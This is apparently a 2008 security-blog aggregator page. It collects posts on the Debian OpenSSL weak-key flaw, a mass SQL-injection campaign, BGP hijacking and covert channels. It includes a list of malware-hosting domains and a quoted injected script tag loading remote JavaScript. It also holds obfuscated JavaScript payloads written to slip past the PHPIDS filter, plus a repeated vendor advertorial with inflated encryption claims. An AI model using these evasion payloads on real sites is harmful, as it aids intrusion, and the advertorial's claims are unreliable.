This model is not without money. The disclosure model gets you credit, this has long been a way of building up eminence in the market. Over the long term this credit gets your day job work. Take David Litchfield as an example (who incidentally spoke before Roberto). He flogged Oracle silly over their terrible security, and now is probably one of the highest paid Oracle security consultants in the world, and even has Oracle as one of his clients. This is a man who monetised his vulnerability research. Granted, he couldn't just sit in a chair making Gobbles-like vulnerability findings and hope to make money, but it certainly gave him the opportunity.
Vulnerability Research Prize Fund
To be honest, I haven't put much thought into how the medical innovation prize fund described here, here and here could be retrofitted to this model. Although, my gut feel is that it can given the similarities in the vulnerability research field to the pharmaceutical industry, i.e. we want to pay for and encourage the best research, but we want the knowledge to be shared as widely and appropriately as possible instead of creating monopolies (e.g. ZDI, Syndiactes). It would be great for some of use to put some thought into this and see what we can come up with as it would potentially provide an 'even better' way that any of the exisiting solutions.
Conclusion
So, at the end of it all I believe that the vulnerability market place won't lead to the best outcomes, already has some inconsistencies and may slippery slope into more, and that a better model already exists. Finally, I believe an even better model could exist structured along the lines of the medical innovation prize fund and that more attention should be paid to this as a solution.
Debian (and derivatives) OpenSSL-based keys vulnerability

Posted: May 14th, 2008, 1:26am CDT

Tags: Security [edit]

Debian released a patch to OpenSSL based on a Debian-specific bug resulting in random numbers being used for the secret parts of key generation not being so random (due to the random number generater not being seeded). Quoting from the mailing list announcement:

Affected keys include SSH keys, OpenVPN keys, DNSSEC keys, and key material for use in X.509 certificates and session keys used in SSL/TLS connections [generated after 2006-09-17]. Keys generated with GnuPG or GNUTLS are not affected, though.

Ubuntu has also released a security announcement stating they too are affected (which likely means other Debian based distros are too, like the Xandros on your Asus EEE PC). In their words:

We consider this an extremely serious vulnerability, and urge all users to act immediately to secure their systems.

In our instance we needed to regenerate several SSH host keys. For ease of use, here are instructions for doing so. Please not these instructions are superceeded by the instructions which will be posted here (but aren't yet).
You can just delete the kys in /etc/ssh and restart ssh. However, I was a bit nervous about visiting our hosting providers cage to fix things and took a more cautious approach.
# sudo
# cd /etc/ssh

Backup your keys
# mkdir backup
# cp ssh_host_*_key* backup/

Generate new ones
# ssh-keygen -b 2048 -t rsa -f ssh_host_rsa_key
# ssh-keygen -b 1024 -t dsa -f ssh_host_dsa_key #FIPS standard says DSA has to be 1024

Fix Permissions
# chown sshd:ssh ssh_host_*_key*
# chmod 400 ssh_host_*_key*
# chmod 444 ssh_host_*_key.pub

Restart SSHD, this isn't stricly necessary, but will use the updated libs, connections will be maintained
# /etc/init.d/ssh restart

I place the fingerprint for the public host key in /etc/issue.net (and uncomment the SSH host banner line in sshd_config). This makes a nice place for me to publically updated the key fingerprints and warn users that the keys have changed for good reason.

As a saftey measure, I also asked users to regenerate their SSH user keys. I still need to update a few self-signed certificates, but none of these are uses for anything serious, so I am not to worried. Debian has released the known weak key detector, although Ubuntu was nice enough to package ssh-vulnkey app with the update.
SQL injections going mad

Posted: May 12th, 2008, 3:32am CDT

Tags: Security [edit]
So, the SQL injections of last month are still going and on the increase. At last check (11am SAST) Google's index had 1 070 000 infected pages. Not all of these are from the same source, or load the same malware. However, they have the same basic principle:

generic SQL injection -> Javascript -> infect visitors

Several of the sites in South Africa I've been watching have been re-infected. I spoke to several of the admins, but it seems they are just restoring from backup and not fixing the root cause. The domains currently being injected and containing the malicious Javascript are:
- nihaorr1.com
- 2117966.net
- aspder.com
- haoliuliang.net
- nmidahena.com
- free.hostpinoy.info
- xprmn4u.info
- winzipices.cn
- wowgm1.cn
- killwow1.cn
- wowyeye.cn
Although, new ones are coming to my attention fairly quickly at the moment. For example, wowgm1.cn was re-injected over winzipices.cn on a few pages. The 'wow' range seem to be related, as they are re-infecting pages with a new URL. On the point of re-injections, it seems some are overwriting each other in funny ways, for example, the following was found on one page (*'s added):
```
<script src=http://www.2<script src=h**p://www.2117966.net/f*ckjp.js></script>
```
It bother's me that the security industry (particularly in SA) doesn't seem to have cottoned on to this as a widespread pervasive attack. Shadowserver (one, two) seems to be the only ones getting close to the problem, but even SANS is treating these as seperate events. There is only basic protection at the moment, if you click through from some of these sites (10%?) in Google, you will get a Malware warning. Continuing to the site anyway prevents me due to Firefox's security setting (which shares the same list from Google, i.e. stopbadware.org).

Given how successfull the exploitation of such an 'old' vulnerability, it is likely we are only going to see more (and better executed) versions of this in the next few months (years?). Hitting over a million pages with a pretty lame attack, that only targets Microsoft SQL is fairly impressive. If they just modified their SQL to work on MySQL or Postgres I'm sure we would seem more than a million more hit. It is interesting to note that it has taken this long from someone to try and 'monetise' SQL injections, as it has been around for a while (8 years?). My guess is that it will take less time for bad guys to do the same with XSS & CSRF, but that Microsoft's default request validation will save some of us, but not because dev's have cottoned on.

The Spanner

Double encoding javascript

Posted: May 10th, 2008, 6:23am CDT by Gareth Heyes

Tags: Security [edit]
I found a nice variation which allows multiple types of encoding without performing eval twice on the string. The code works using the Script function and because of this the code is rewritten by the javascript engine and converts the unicode into standard text.

First a base of unicode is used first “u0061u006cu0065u0072u0074u0028u0031u0029″ then each section of the is encoded with hex or octal. The final result can be viewed below:-
```
alert(Script('x5cx750066611341656006cx5cx75x30x30x36x35
13416560606762x5cx75x30x30x37x34x5cx75x30x30x32
x38x5cx75x30x30x33x31x5cx75x30x30x32x39'))
```
The code can be executed like this:-
```
Script('x5cx750066611341656006cx5cx75x30x30x36x35
13416560606762x5cx75x30x30x37x34x5cx75x30x30x32
x38x5cx75x30x30x33x31x5cx75x30x30x32x39')()
```
Firefox find function

Posted: May 7th, 2008, 9:27pm CDT by Gareth Heyes

Tags: Security [edit]
I found this quite interesting, calling the find function in Firefox without parameters displays a dialog box. Calling it multiple times displays loads of find windows
```
for(i=0;i<100;i++) {
 find();
}
```
Javascript getters hacking

Posted: May 7th, 2008, 8:51pm CDT by Gareth Heyes

Tags: Security [edit]
I’m a big fan of strange looking Javascript and using the syntax in ways it wasn’t intended, so I can understand the internals of what’s going on. Tonight I was having trouble sleeping and I decided to try and bypass the PHPIDS, I found that Firefox lets you use getters with unassigned variables and returns the results.
```
the=javascript getter=eval
s = me getter=the('alert(1)')
```

Rational Survivability

Down Under: Where Security Is SO Last Tuesday...

Posted: May 7th, 2008, 8:15pm CDT by beaker

Tags: Information Security [edit]

I read this article from Network World (Australia) where the author relayed the pinnings of C-levels from Australia and New Zealand by titling his story thusly: "If only reducing costs was as easy as security, say CIOs"

It seems that based upon a recent study, IDC has declared that "...conquering IT security is a breeze for CIOs."

I'm proud of my Kiwi lineage, but I had no idea my peeps were so ahead of the curve when it comes to enlightened advancements in IT security governance. They must all deploy GRC suites and UTM or something?

Anton, there must be something in the logs down there!

As per that famous line in "When Harry Met Sally," I respond with "I'll have what [s]he's having..."

Check this out:

The IDC Annual Forecast for Management report surveyed 363 IT executives from Australia (254 respondents) and New Zealand (109 respondents) across industries including finance, distribution, leisure and the public sector.

Information security was rated last place in the Top 10 challenges for CIOs.

Threats targeting the application layer were cited as the biggest concern (36%), while spyware (16%) was rated as a bigger threat than disgruntled employees, remote access, and mobile devices.

The CIOs top priority for the next 12 months was reducing costs and addressing a lack of resources. This was followed by meeting user expectations and developing effective business cases.

The top four IT investments for the next year will be in collaborative technologies and knowledge management; systems infrastructure; back office applications; and business intelligence.

I'm no analyst, but allow me to suggest that just because security is not the top priority or "challenge" does NOT mean they have the problem licked. It simply means it's not a priority!

Perhaps it's that these CIO's recognize that they've been spending their budgets on things that aren't making a difference and should instead be focusing on elements that positively impact corporate sustainability and survivability as an on-going concern instead?

The most hysterical thing about this article -- besides the re-cockulous premise they overly-hyped and the (likely) incorrect interpretation of results the title suggests -- is that on the same page as this article which suggests the security problem is licked, we see this little blurb for a NWW podcast:

So, there we have it. A direct tie. Security is solved and failing, all at the same time!

Sigh.

/Hoff

tssci security

Protecting the global Internet routing infrastructure

Posted: May 7th, 2008, 2:16pm CDT by dre

Tags: Security [edit]

Arbor Networks has a blog post up today about Using RPKI to Construct Validated IRR Data. Resource PKI (RPKI) is an extension to X.509 to allow for IP address (prefix) and AS identifiers (autonomous system numbers — the organization-based assigned number used by the Border Gateway Protocol to get you or your ISP “online”).

My first introduction to hijacking traffic at a global level was in 1997. A certain ISP that I knew would typically test their attack theories and concepts live by re-routing, redirecting, and outright stealing traffic using BGP-4. It was often done to spammers, typically those already in a customer relationship with the provider.

By using a TCP/IP routing concept known as a “more-specific route”, or MSR as I like to refer to it — a route injected into the RIB (routing information base, or “routing table” as most people call it) that has a shorter-prefix (a /24 instead of a /23) will be selected by the RIB to be the destination of all traffic that is categorized by that prefix. If, say, the 2 /24’s that make up a /23 are both injected into the RIB, then all traffic destined to that /23 is now directed instead to the /24 MRS’s.

Historically, there has been little to nothing to prevent this from happening at a global level. As we spoke about in the Day 12: ITSM Vulnerability Assessment Techniques post, even YouTube was recently hijacked by Pakistan using the exact concepts above.

Note that this is different than regular IP/ASN hijacking. The YouTube incident was BGP traffic hijacking. The difference (and they are even worse when combined) is that IP/ASN hijacking involves modifying the RIR (Regional Internet Registry) database records to new information, such as contact, DNS, RWhois, and other ownership rights. The world was first officially introduced to this style of attack in 1999 when CERT released an advisory detailing the Potential for False Authentication in Registry Transactions aka the “MAIL-FROM:” attack, which works just like regular domain hijacking.

Typically, the defense to these types of attacks has had one major stop-gap: ISP filtering, in particular — customer filtering, which is typically/historically applied only on the customers. When L0pht presented to Congress in 1998 and told them that they could “take down the entire Internet in 30 minutes or less” — Mudge and company were likely referring to the fact that route filters were applied at the customer level (and not even always there), but not in between ISP peering relationships.

Route-filters on ISP peering, especially “default-free zone” (DFZ) peering, often used the IRR (Internet Routing Registry) information to build a preventative measure. Hoewver, the IRR system itself (the primary vendor/organization being the RADB — or the Routing Arbiter Database, or now known as the “Router Assets Database”) was typically vulnerable to the same “false authentication” attack and other abuses such as social engineering.

RPKI looks like it goes a long way towards ensuring an easy path for ISP’s and other BGP-speaking organizations to protect their routes and deliver an infrastructure that could withstand simple attack vectors such as these.

Disenchant's Blog

Big XSS Presentation

Posted: May 2nd, 2008, 4:46am CDT by Disenchant

Tags: Security [edit]

On the 26. March this year, I gave a quiet special guest lecture. I was teaching students at the Bern University of Applied Sciences Engineering and Information Technology which are all studying the same as me (computer science) but they are nearly finished with their studies. This means I was once more the young and long-haired guy who came to talk about security or to be more specific web application security. Of course it was a special situation for me and I think also for the other students. Anyway, it was interesting to work with them and I think that my presentation and also the demos I made, helped them to understand the topic I was talking about: XSS.

Unfortunately it’s not that easy to upload the demos I made but I’d like to make my presentation available to the public because I think, that people can learn out of it and also if someone needs to give a lecture on XSS he/she can probably use some stuff out of my presentation.

Download the XSS presentation now

Hope you enjoy the presentation

tssci security

An update on Protocol hopping covert channels

Posted: April 29th, 2008, 9:29am CDT by dre

Tags: Security [edit]

At last year’s Blackhat US 2007, the dominant discussion was around Joanna Rutkowska and Alex Tereshkin’s “New Blue Pill” vs. Peter Ferrie, Nate Lawson, and Tom Ptacek’s VT-x Rootkit Detection techniques. This included some follow-up material on the Matasano blog including Side-Channel Detection Attacks Against Unauthorized Hypervisors and some confusion by Rich Mogull which led to You Can Detect Hypervised Rootkits Even if You’re Virtualized. Joanna’s rebuttal to the Matasano bloggage can be found in Virtualization Detection vs. Blue Pill Detection on her blog.

But what about covert channels on the network?

Surely, Ptacek and Rutkowska are both overly familiar with the issues applied at that layer — Ptacek having authored Insertion, Evasion, and Denial of Service, with Rutkowska providing code for NUSHU - passive covert channel engine for Linux 2.4 kernels.

Many claim that network covert channels can be made undetectable; others might argue that like system rootkits — certain techniques can always make covert activity visible to prying eyes.

Last November, Richard Bejtlich analyzed the Protocol Hopping Covert Channel Tool, written by Steffen Wendzel. Using tools such as Wireshark, tcpdump, Argus, and tcpflow — Richard demonstrates how the PHCC tool (phcct) can be categorically identified.

Richard did agree with one commenter that if the PHCC tool properly encrypted traffic — that the analysis would be inconclusive. So why was the proof-of-concept crippled?

A recent comment to Richard’s post on PHCC comes from the author of the tool itself (Steffan Wendzel). In the comment, he writes:

Nevertheless I still think PHCC are very hard to detect using encryption (I don’t plan to add encryption to this explicity called “simple” proof of concept code) and an improved micro protocol message ID field (see updated part of the paper). I also think that collecting _all_ data in a network is a too huge amount of data propably nobody will take care about (which company will pay the forensics that will investigate the garbage data?)

But you’re right: The detection of the PHCC implemented by phcct is easy to detect but it wasn’t the target to do something different in this proof of concept code.

However, thanks to Richard’s post and corrections — Steffan updated his paper on Protocol Hopping Covert Channels, but noted that he doesn’t have time to correct the tool itself. In this case, having the correct information documented is more important than having a more reliable exploit tool. Some would argue that, “There’s no point in rubbing salt into an open wound” (one of my favorite quotes on the issue of anti-forensics).

Dominic White's .tHE pRODUCT

Currently, potentially, Infected SA sites

Posted: April 29th, 2008, 7:53am CDT

Tags: Security [edit]
Based on Google's index, the following sites are/were infected based on the SQL injection attack discussed all over the place (1, 2, 3, 4, 5). From an SA perspective, News24, Sunday Times (available in dead tree only) and Talk Radio 702 have covered this.

Click here for Google's latest list.

Click here for Yahoo's latest list (much less accurate).

Status: Medium
- Most of the sites hosting the JavaScript are down, and most of the sites listed as infected seem to be clean (for SA). As this appears to be the 3rd or 4th injection, if web admins haven't fixed the root vulnerability and the attack is re-run pointing at a different domain, it could happen again.
- The command and control server the Trojan sends stolen passwords to is still up.
Warnings:
1. Do not click on any of the links from Google or Yahoo as you are likely to be taken to a website which will infect your computer with a trojan.
2. Search engines (aka Google and Yahoo) work on an index, which works on a snapshot of information. This snapshot takes a while to update, so some sites may be infected and not listed yet, and others may no longer be infected and still listed.

Michael Howard's Web Log

Crispin has a blog!

Posted: April 28th, 2008, 1:08pm CDT by michael_HOWARD

Tags: Security [edit]

It had to happen. Since joining Microsoft a few short months ago, Crispin Cowen now has a blog. He's told me some of his ideas for posts... should make for an interesting read! He's never short on opinion.

SecuriTeam Blogs

Centralized Administration Adds Security

Posted: April 23rd, 2008, 4:27pm CDT by Jon Campbell

Tags: Corporate Security [edit]

Authorities on network/computer administration say that centralized management of a company’s computers is the key to a safe and secure IT infrastructure. Clearly that is true, you hire the best and brightest to manage and develop policies for how your companies IT systems will be operated, then that central team makes sure the policies are maintained. There is a solution that is Java based which you will find very helpful in this regard, it is called Iron-Admin and it is gaining popularity.

Centralized Management

One of the major hurdles with centralized management of computers is the software aspect. Having a secure means of administering a WAN from your central office is needed. You will find Iron-Admin made by Wise Firm (www.WiseFirm.com) to be outstanding for centralized management, another product is WebMin (www.WebMin.com) which is specific to Linux servers only. For larger corporations who maintain Microsoft, IBM, Solaris, and other OS servers, the only choice would be Wise Firm’s product called Iron-Admin. It uses 256bit encryption for all communication, which is double that of WebMin.

With Unix based servers the legacy method of administering your network was to use X Windows terminals, or just an SSH shell session and commands. And with Microsoft Windows you have the Active Directory which allows WAN administration using a simple GUI tool. The problems you face with both of these legacy systems is that various server side software, such as DNS, eMail, Web Servers, etc. require you to learn the GUI of each of these software packages. On top of that you are often dealing with multiple OS systems with various designs, and Solaris doesn’t work the same as AIX, likewise Linux is not the same as MS Windows Server. Wise Firm’s Iron-Admin system solves all of this, providing a uniform way to administer all of the OS systems and the server software that runs on them.

Iron-Admin’s Universal GUI

The Iron-Admin product provides a powerful GUI with centralized control of all servers on your WAN or LAN. The GUI is more advanced then Microsoft’s Active Directory MMU tool. And the GUI appearance and operation is the same rather you are administering an AIX server, Solaris, Windows 2003, or Windows Vista. Iron-Admin is actually not just an administration system, actually it ships with many server components and when you install it you actually get a powerful eMail server, Backup server, DNS server, J2EE server, Samba/Windows server, and other components. So Iron-Admin is kind of an administration system and server system all in one with a universal GUI to manage everything. Here’s a GUI snapshot of what it looks like…

Integrating Multi-Platforms

Another common need is to integrate various platforms, or OS systems of different flavors. Again Iron-Admin fills the need by offering cross-platform file management and backup. From one computer console you can copy and move or backup files from multiple computers across a large WAN. For instance you could select files and directories from an AIX server in California, then select some more files from a Solaris 10 workstation in Dallas, then select some more files and directories from a MS Windows 2003 server in Kansas, and then copy all of them from all those computers to a single destination Linux server in Florida! That sounds amazing right, will I have done just such things with Iron-Admin, and it is as easy as using the MS Explorer or the Linux File Browser. You can do more then just copy them however, you can select files and directories as stated and instead of just copying them, you can burn them all to a DVD on a destination computer, or just schedule a regular automated backup from all of those computers to a destination computer. Integration stretches to easy click and linking of NFS shares across platforms too, as well as ADS file shares between Linux and Windows servers and workstations.

There are actually too many features to mention in Iron-Admin, you really should go to www.WiseFirm.com and get into their online Forums, they are very helpful. They also have other products, including free encryption software, free benchmarking software, and eBooks which are very helpful. Wise Firm has really expanded on the capabilities of Java, they offer an unlimited-strength encryption system with Iron-Admin which apparently could do like 5000-bit encryption, WOW!

Justice League

Unsafe at any bitrate?

Posted: April 23rd, 2008, 10:18am CDT by Guest

Tags: Software Security [edit]

[This a guest post by Cigital’s Troy Jones, written in reference to episode 25 of The Silver Bullet Security Podcast, an interview with Jon Swartz.]

Gary,

Listening to your podcast with Jon Swartz today, you briefly mentioned Ralph Nader a couple of times. You said almost in jest, that “… we need a Ralph Nader for Security.” This got me thinking about a recent brownbag you gave on Software Security, where you mentioned that clients have implied needs for security but may not explicitly state their needs. I think the concept of implied need for software security and what Nader did to impact auto safety are entirely related.

Back in the 60’s people expected that the cars they bought were “safe”. Safety was not a marketing angle used by the car companies, and people did not shop around for the safest cars, but no one would buy an “unsafe” car. They just trusted and expected that the big auto makers had already thought about safety and “built it in” because no reputable car manufacturer would sell an “unsafe” car, would they?

It was not until Ralph Nader wrote “Unsafe at any Speed” that people began to question the safety of the cars they bought. When it became apparent that Detroit was selling them unsafe cars, the public outcry (not the book itself) prompted congress to act to enable novel new safety standards like seatbelts, bumpers that actually worked, and eventually crumple zones and air bags. So, people had an implied need for auto safety, but did not express that need until they became educated to the fact that they were not safe. Then they expressed their newfound need for safety to the politicians and also voted with their pocket books, buying safer cars. When consumers were provided with valid safety evaluations, from Consumer Reports and the National Highway Traffic Safety Commission, they changed their buying habits. Auto manufacturers (eventually) changed their approach in response. After years of fighting increasingly stringent safety regulations, they now compete to be able to advertise that their minivan has the highest safety rating.

So, what does all this have to do with software security? One point is that “safe” is relative term. You are safe if you feel safe. It is hard or impossible to know if you are actually safe but it is easy to have your illusion of safety shattered by hard facts. Your average consumer today may be oblivious or vaguely concerned about software security, but they don’t have the information necessary to make discriminating choices about what software to use or buy and to stay away from. There is no Internet Highway Safety Commission and no ratings to refer to. Without this information, people are unable to express their implicit needs. They are driving metaphorical Corvairs and they don’t even know it.

Another point is that safety and security are both relative. The worst Yugoslavian POS manufactured today is probably much safer than any car rolling off the Detroit auto lines in 1965. It is conceivable that 50 years from now people will look back and wonder how we survived without collision avoiding auto-pilots in our cars! People’s expectations for “safety” evolve over time and hopefully their actual safety improves as cars are better engineered, but there is no endpoint- no “safety finish line”. I think this analogy applies to “Software Security”. Software should get more secure over time if security is considered an important goal, but software will never be 100% secure. Good for job security but bad for everyone who depends on software to work securely.

A third point is that the initial reaction to unsafe autos was to build safer highways. Wide-open, straight, and fast highways seemed to be more cost effective than engineering better automobiles. It was not until highway traffic deaths began to skyrocket that everyone realized how effective automobiles are at killing the occupants involved in an accident at 75 MPH with no seat belts. The same approach has been taken on the internet. Bigger pipes and better firewalls should take care of the problem. No need to design and build more secure software! But the common folk will eventually realize that building a super information highway to their most confidential data has lots of unintended negative consequences, especially when it is so easy for the crooks to get past the vigilant but not-too-bright night watchman.

The last point I would make is that it took a fairly long time and a number of contributing factors for something to be done about auto safety. While Nader’s book was certainly a catalyst, it was not the “Auto Safety Pearl Harbor”. He merely recognized and assembled the information in a concise format that allowed people to understand and take action against a problem that had been growing worse for a long time. My guess is that the same will be true for software security. There will not be a “Software Security Pearl Harbor”. But through your continued evangelizing, through books like Jon Swartz’s “Zero Day Threat” and by their own negative experiences, people will eventually realize that something has to change and will demand action from software vendors, perhaps increased regulation from Congress, and maybe even a rating system to identify the worst offenders and the most secure software available so that they can make better choices. I am convinced that attitudes will begin to change soon, as the current rate of increase in cyber-crime has us on a trajectory to reach 1% of total GDP with 4 years. If that happens, it will definitely get the attention of quite a few people and may drive the expression of latent needs for software security.

SecuriTeam Blogs

Centralized Management Adds Security

Posted: April 22nd, 2008, 7:39pm CDT by jdcampbell

Tags: Corporate Security [edit]

There is an almost endless need for security as the attack of all sorts of criminal hackers and hordes continues. Authorities on network/computer administration say that centralized management of a company’s computers is the key. Clearly that is true, you hire the best and brightest to manage and develop policies for how your company’s IT systems will be operated, then that central team makes sure the policies are maintained. There is a solution that is Java based which you will find very helpful in this regard, it is called Iron-Admin and it is gaining popularity.

Centralized Management

One of the major hurdles with centralized management of computers is the software aspect. Having a secure means of administering a WAN from your central office is needed. You will find Iron-Admin made by Wise Firm (www.WiseFirm.com) to be outstanding for centralized management, another product is WebMin (www.WebMin.com) which is specific to Linux servers only. For larger corporations who maintain Microsoft, IBM, Solaris, and other OS servers, the only choice would be Wise Firm’s product called Iron-Admin. It uses 256bit encryption for all communication, which is double that of WebMin.

With Unix based servers the legacy method of administering your network was to use X Windows terminals, or just an SSH shell session and commands. And with Microsoft Windows you have the Active Directory which allows WAN administration using a simple GUI tool. The problems you face with both of these legacy systems is that various server side software, such as DNS, eMail, Web Servers, etc. require you to learn the GUI of each of these software packages. On top of that you are often dealing with multiple OS systems with various designs, and Solaris doesn’t work the same as AIX, likewise Linux is not the same as MS Windows Server. Wise Firm’s Iron-Admin system solves all of this, providing a uniform way to administer all of the OS systems and the server software that runs on them.

Iron-Admin’s Universal GUI

The Iron-Admin product provides a powerful GUI with centralized control of all servers on your WAN or LAN. The GUI is more advanced then Microsoft’s Active Directory MMU tool. And the GUI appearance and operation is the same rather you are administering an AIX server, Solaris, Windows 2003, or Windows Vista. Iron-Admin is actually not just an administration system, actually it ships with many server components and when you install it you actually get a powerful eMail server, Backup server, DNS server, J2EE server, Samba/Windows server, and other components. So Iron-Admin is kind of an administration system and server system all in one with a universal GUI to manage everything. Here’s a GUI snapshot of what it looks like…

Integrating Multi-Platforms

Another common need is to integrate various platforms, or OS systems of different flavors. Again Iron-Admin fills the need by offering cross-platform file management and backup. From one computer console you can copy and move or backup files from multiple computers across a large WAN. For instance you could select files and directories from an AIX server in California, then select some more files from a Solaris 10 workstation in Dallas, then

My Security Planet » Tags » Security

Feeds

348 items tagged "Security"

Posted: March 11th, 2010, 10:55am CST by Gareth Heyes

Tags: Security [edit]

Posted: March 4th, 2010, 5:10am CST by Gareth Heyes

Tags: Security [edit]

Posted: February 4th, 2010, 5:47am CST by Gareth Heyes

Tags: Security [edit]

Posted: February 2nd, 2010, 12:25am CST

Tags: Security [edit]

Posted: January 29th, 2010, 4:09am CST by Gareth Heyes

Tags: Security [edit]

Posted: January 18th, 2010, 12:45pm CST by scott

Tags: Software Security Cloud Computing Cloud [edit]

Posted: January 14th, 2010, 4:06pm CST by Guest

Tags: Software Security [edit]

Posted: December 30th, 2009, 12:48am CST

Tags: Security [edit]

Posted: December 13th, 2009, 11:39pm CST

Tags: Security [edit]

Posted: December 6th, 2009, 6:04am CST by Gareth Heyes

Tags: Security [edit]

Posted: December 1st, 2009, 12:50am CST

Tags: Security [edit]

Posted: November 23rd, 2009, 9:28am CST by jOHN

Tags: Software Security [edit]

Posted: November 23rd, 2009, 7:45am CST by Gareth Heyes

Tags: Security [edit]

Posted: November 23rd, 2009, 6:55am CST by Gareth Heyes

Tags: Security [edit]

Posted: November 23rd, 2009, 2:45am CST by Gareth Heyes

Tags: Security [edit]

Posted: November 19th, 2009, 1:50am CST

Tags: Security [edit]

Posted: November 17th, 2009, 12:25pm CST by jOHN

Tags: Software Security [edit]

Posted: November 17th, 2009, 12:20pm CST

Tags: Security [edit]

Posted: November 12th, 2009, 2:05pm CST by jOHN

Tags: Software Security [edit]

Posted: November 9th, 2009, 2:45pm CST by jOHN

Tags: Software Security [edit]

Posted: October 26th, 2009, 6:06pm CDT by vanderaj

Tags: Security [edit]

Posted: October 22nd, 2009, 11:25am CDT by Disenchant

Tags: Security [edit]

Posted: October 20th, 2009, 5:27am CDT by Gareth Heyes

Tags: Security [edit]

Posted: October 19th, 2009, 3:35pm CDT

Tags: Security [edit]

Posted: October 19th, 2009, 2:58pm CDT by RSnake

Tags: Random Security [edit]

Posted: October 19th, 2009, 5:38am CDT

Tags: Security [edit]

Posted: October 13th, 2009, 9:00am CDT by Guest

Tags: Software Security [edit]

Posted: September 25th, 2009, 3:33am CDT by Gareth Heyes

Tags: Security [edit]

Posted: September 6th, 2009, 3:20pm CDT by michael_HOWARD

Tags: Security [edit]

Posted: August 15th, 2009, 6:19am CDT by Gareth Heyes

Tags: Security [edit]

Posted: August 14th, 2009, 9:54am CDT by Guest

Tags: Software Security [edit]

Posted: August 11th, 2009, 9:05am CDT by Gareth Heyes

Tags: Security [edit]

Posted: August 4th, 2009, 7:34am CDT by Gareth Heyes

Tags: Security [edit]

Posted: July 29th, 2009, 3:21pm CDT by gem

Tags: Software Security [edit]

Posted: July 28th, 2009, 12:43pm CDT by michael_HOWARD

Tags: Security [edit]

Posted: July 25th, 2009, 8:18pm CDT by dre

Tags: Security [edit]

Posted: July 20th, 2009, 7:29am CDT by Gareth Heyes

Tags: Security [edit]

Posted: July 14th, 2009, 2:09pm CDT by gem

Tags: Software Security [edit]

Posted: July 14th, 2009, 4:28am CDT by Gareth Heyes